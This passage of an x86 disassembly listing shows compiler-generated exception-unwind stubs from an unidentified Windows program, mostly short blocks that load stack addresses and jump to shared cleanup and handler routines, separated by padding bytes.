; ---------------------------------------------------------------------------
loc_439523: ; DATA XREF: ___:0043FB3Co
mov ecx, [ebp-2480h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43952E: ; DATA XREF: ___:0043FB44o
lea ecx, [ebp-22A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439539: ; DATA XREF: ___:0043FB4Co
lea ecx, [ebp-2244h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2274h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43954F: ; DATA XREF: ___:0043FB64o
lea ecx, [ebp-2214h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43955A: ; DATA XREF: ___:0043FB74o
lea ecx, [ebp-21E4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439565: ; DATA XREF: ___:0043FB7Co
lea ecx, [ebp-2184h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-21B4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43957B: ; DATA XREF: ___:0043FB94o
lea ecx, [ebp-243Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-240Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439591: ; DATA XREF: ___:0043FBACo
lea ecx, [ebp-2124h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-2154h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395A7: ; DATA XREF: ___:0043FBBCo
lea ecx, [ebp-20F4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395B2: ; DATA XREF: ___:0043FBC4o
lea ecx, [ebp-2094h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-2464h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-20C4h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4395D3: ; DATA XREF: sub_40FF60+8o
mov eax, offset dword_43FA00
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 93h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_402031
; =============== S U B R O U T I N E =======================================
SEH_411860 proc near ; DATA XREF: sub_411860+2o
mov eax, offset dword_43FC10
jmp sub_4367C8
SEH_411860 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_402031
; =============== S U B R O U T I N E =======================================
SEH_411910 proc near ; DATA XREF: sub_411910+2o
mov eax, offset dword_43FC40
jmp sub_4367C8
SEH_411910 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4396B8: ; DATA XREF: ___:0043FC9Co
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_411990 proc near ; DATA XREF: sub_411990+2o
mov eax, offset dword_43FC70
jmp sub_4367C8
SEH_411990 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439718: ; DATA XREF: ___:0043FCF4o
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 54h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 69h
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_411A50 proc near ; DATA XREF: sub_411A50+2o
mov eax, offset dword_43FCC8
jmp sub_4367C8
SEH_411A50 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_411B40 proc near ; DATA XREF: sub_411B40+8o
mov eax, offset dword_43FD20
jmp sub_4367C8
SEH_411B40 endp
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4397E8: ; DATA XREF: ___:0043FDCCo
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_411FE0 proc near ; DATA XREF: sub_411FE0+8o
mov eax, offset dword_43FDA0
jmp sub_4367C8
SEH_411FE0 endp
; ---------------------------------------------------------------------------
db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
loc_439890: ; DATA XREF: ___:0043FE6Co
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-48h]
and eax, 1
test eax, eax
jz locret_4398AE
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_4398AE: ; CODE XREF: ___:004398A0j
retn
; =============== S U B R O U T I N E =======================================
SEH_4126B0 proc near ; DATA XREF: sub_4126B0+2o
mov eax, offset dword_43FE40
jmp sub_4367C8
SEH_4126B0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4398D8: ; DATA XREF: ___:0043FEA4o
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_412970 proc near ; DATA XREF: sub_412970+8o
mov eax, offset dword_43FE78
jmp sub_4367C8
SEH_412970 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_412C10 proc near ; DATA XREF: sub_412C10+2o
mov eax, offset dword_43FEB0
jmp sub_4367C8
SEH_412C10 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439918: ; DATA XREF: ___:0043FF0Co
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-9Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43994E: ; DATA XREF: ___:00412CB8o
mov eax, offset dword_43FEE0
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
loc_43997B: ; DATA XREF: ___:0043FF6Co
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014B5
; =============== S U B R O U T I N E =======================================
SEH_413120 proc near ; DATA XREF: sub_413120+2o
mov eax, offset dword_43FF40
jmp sub_4367C8
SEH_413120 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 60h
jmp sub_4011B8
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6Ch
jmp sub_4014B5
; =============== S U B R O U T I N E =======================================
SEH_413220 proc near ; DATA XREF: sub_413220+2o
mov eax, offset dword_43FF88
jmp sub_4367C8
SEH_413220 endp
; ---------------------------------------------------------------------------
db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4132E0 proc near ; DATA XREF: sub_4132E0+2o
mov eax, offset dword_43FFD0
jmp sub_4367C8
SEH_4132E0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4133D0 proc near ; DATA XREF: sub_4133D0+2o
mov eax, offset dword_440008
jmp sub_4367C8
SEH_4133D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_413510 proc near ; DATA XREF: sub_413510+2o
mov eax, offset dword_440038
jmp sub_4367C8
SEH_413510 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+1Ch]
jmp sub_401578
; ---------------------------------------------------------------------------
loc_439A78: ; DATA XREF: ___:00440094o
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_413670 proc near ; DATA XREF: sub_413670+2o
mov eax, offset dword_440068
jmp sub_4367C8
SEH_413670 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439A98: ; DATA XREF: ___:004400CCo
lea ecx, [ebp-0A4h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-8Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4137E0 proc near ; DATA XREF: sub_4137E0+2o
mov eax, offset dword_4400A0
jmp sub_4367C8
SEH_4137E0 endp
; ---------------------------------------------------------------------------
db 18h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439AD8: ; DATA XREF: ___:0044010Co
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_401578
; =============== S U B R O U T I N E =======================================
SEH_4139B0 proc near ; DATA XREF: sub_4139B0+2o
mov eax, offset dword_4400E0
jmp sub_4367C8
SEH_4139B0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439B08: ; DATA XREF: ___:00413AE2o
mov eax, offset dword_440120
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439B28: ; DATA XREF: ___:0044017Co
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439B30: ; DATA XREF: ___:00440184o
mov eax, [ebp-40h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
loc_439B3B: ; DATA XREF: ___:0044018Co
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_413B70 proc near ; DATA XREF: sub_413B70+2o
mov eax, offset dword_440150
jmp sub_4367C8
SEH_413B70 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp+64h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439B68: ; DATA XREF: ___:004401C4o
lea ecx, [ebp+4Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp+34h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_413DA0 proc near ; DATA XREF: sub_413DA0+2o
mov eax, offset dword_440198
jmp sub_4367C8
SEH_413DA0 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439BBB: ; DATA XREF: ___:0044021Co
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_414090 proc near ; DATA XREF: sub_414090+2o
mov eax, offset dword_4401F0
jmp sub_4367C8
SEH_414090 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439BF8: ; DATA XREF: ___:0044025Co
mov ecx, [ebp+14h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp+10h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439C10: ; DATA XREF: ___:00414122o
mov eax, offset dword_440230
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 16h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp+4Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439C38: ; DATA XREF: ___:004402A4o
lea ecx, [ebp+34h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-10h]
push eax
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
retn
; =============== S U B R O U T I N E =======================================
SEH_414230 proc near ; DATA XREF: sub_414230+2o
mov eax, offset dword_440278
jmp sub_4367C8
SEH_414230 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439C88: ; DATA XREF: ___:004402F4o
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_414360 proc near ; DATA XREF: sub_414360+2o
mov eax, offset dword_4402C8
jmp sub_4367C8
SEH_414360 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439CC8: ; DATA XREF: ___:0044033Co
mov ecx, [ebp+10h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp+0Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439CD8: ; DATA XREF: ___:00414402o
mov eax, offset dword_440310
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4144D0 proc near ; DATA XREF: sub_4144D0+2o
mov eax, offset dword_440350
jmp sub_4367C8
SEH_4144D0 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439D18: ; DATA XREF: ___:004403ACo
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439D20: ; DATA XREF: ___:00414692o
mov eax, offset dword_440380
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+1Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439D38: ; DATA XREF: ___:004403E4o
lea ecx, [ebp+4]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4147D0 proc near ; DATA XREF: sub_4147D0+2o
mov eax, offset dword_4403B8
jmp sub_4367C8
SEH_4147D0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439D5B: ; DATA XREF: ___:0044041Co
mov ecx, [ebp-10h]
add ecx, 19h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_4149D0 proc near ; DATA XREF: sub_4149D0+2o
mov eax, offset dword_4403F0
jmp sub_4367C8
SEH_4149D0 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439D98: ; DATA XREF: ___:00414A62o
mov eax, offset dword_440430
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439DB8: ; DATA XREF: ___:00414AF2o
mov eax, offset dword_440460
jmp sub_4367C8
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439DD8: ; DATA XREF: ___:004404BCo
mov ecx, [ebp-10h]
add ecx, 15h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2Ah
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3Fh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_414CA0 proc near ; DATA XREF: sub_414CA0+2o
mov eax, offset dword_440490
jmp sub_4367C8
SEH_414CA0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-4Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-48h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-44h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_414D40 proc near ; DATA XREF: sub_414D40+8o
mov eax, offset dword_4404D8
jmp sub_4367C8
SEH_414D40 endp
; ---------------------------------------------------------------------------
db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401262
; ---------------------------------------------------------------------------
loc_439E78: ; DATA XREF: ___:00440564o
mov ecx, [ebp-10h]
add ecx, 3Eh
jmp sub_40143D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 15Fh
jmp sub_401929
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B46h
jmp sub_401C8F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BBEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C58h
jmp sub_4014F1
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1D29h
jmp sub_401E83
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1E6Fh
jmp sub_401235
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8EF5Dh
jmp sub_4013C0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F247h
jmp sub_401A23
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F270h
jmp sub_4017A3
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F285h
jmp sub_402216
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F3A2h
jmp sub_401EB0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F4BFh
jmp sub_4018CA
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FA13h
jmp sub_4017D0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FA73h
jmp sub_401B27
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FAD3h
jmp sub_401F28
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FB05h
jmp sub_401113
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FB93h
jmp sub_40187A
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FBCDh
jmp sub_401DED
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FBFFh
jmp sub_401FF5
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FC31h
jmp sub_40176C
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FC42h
jmp sub_401EE2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD2Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD42h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD57h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD6Ch
jmp sub_401226
; ---------------------------------------------------------------------------
loc_439FE1: ; DATA XREF: ___:00416992o
mov eax, offset dword_440538
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 65h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401262
; ---------------------------------------------------------------------------
loc_43A058: ; DATA XREF: ___:00440674o
mov ecx, [ebp-10h]
add ecx, 3Eh
jmp sub_40143D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 15Fh
jmp sub_401929
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B46h
jmp sub_401C8F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BBEh
jmp sub_401AE6
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1C58h
jmp sub_4014F1
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1D29h
jmp sub_401E83
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1E6Fh
jmp sub_401235
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8EF5Dh
jmp sub_4013C0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F247h
jmp sub_401A23
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F270h
jmp sub_4017A3
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F285h
jmp sub_402216
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F3A2h
jmp sub_401EB0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8F4BFh
jmp sub_4018CA
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FA13h
jmp sub_4017D0
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FA73h
jmp sub_401B27
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FAD3h
jmp sub_401F28
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FB05h
jmp sub_401113
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FB93h
jmp sub_40187A
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FBCDh
jmp sub_401DED
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FBFFh
jmp sub_401FF5
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FC31h
jmp sub_40176C
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FC42h
jmp sub_401EE2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD2Dh
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD42h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD57h
jmp sub_401226
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9FD6Ch
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43A1C1: ; DATA XREF: ___:00416D32o
mov eax, offset dword_440648
jmp sub_4367C8
; ---------------------------------------------------------------------------
db 65h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
SEH_416FB0 proc near ; DATA XREF: sub_416FB0+2o
mov eax, offset dword_440758
jmp sub_4367C8
SEH_416FB0 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_43A25B: ; DATA XREF: ___:004407B4o
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AD2
; ---------------------------------------------------------------------------
